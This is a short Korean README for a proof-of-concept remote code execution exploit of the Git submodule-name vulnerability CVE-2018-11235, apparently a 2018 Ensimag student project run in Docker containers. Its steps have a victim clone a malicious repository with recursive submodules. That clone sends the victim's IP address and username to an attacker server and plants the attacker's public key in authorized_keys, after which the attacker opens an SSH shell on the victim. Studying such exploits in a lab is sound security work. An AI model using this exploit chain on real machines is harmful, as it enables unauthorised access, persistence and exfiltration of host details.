
개념 증명 - RCE 악용: Git 서브모듈 이름 취약점 - Ensimag 2018년 11월
Docker 컨테이너를 빌드하려면 다음을 사용하세요:
make docker
(다음 make 명령들은 여러분의 머신에서 서로 다른 터미널에서 병렬로 실행해야 합니다.)
공격자 서버 컨테이너를 시작하려면 다음을 사용하세요:
make run_server
피해자를 나타내는 컨테이너를 시작하려면 다음을 사용하세요:
make run_client
컨테이너는 client.py 스크립트를 실행합니다. 이 스크립트는 자신의 IP 주소와 사용자 이름을 공격자에게 전송합니다.
클라이언트 콘솔의 지침에 따라 악성 git 저장소를 클론하세요.
git clone --recurse-submodules root@server:home/poc/malicious_repo client_pwned
피해자의 IP 주소와 사용자 이름이 서버로 전송되는 것을 확인할 수 있습니다.
클론 후, 공격자의 공개 키가 클라이언트의 authorized_keys에 제대로 추가되었는지 확인하세요.
그런 다음, 다음 명령을 사용하여 서버에서 클라이언트에 셸을 열 수 있습니다 (여러분의 머신에서 실행하세요):
make server_bash
ssh <transmitted_username>@<transmitted_host>
이 Proof of Concept을 실행하는 데 어떤 문제가 있든, 이 저장소에 이슈를 생성해 주세요: https://github.com/ygouzerh/CVE-2018-11235/issues , 최대한 빨리 답변드리겠습니다.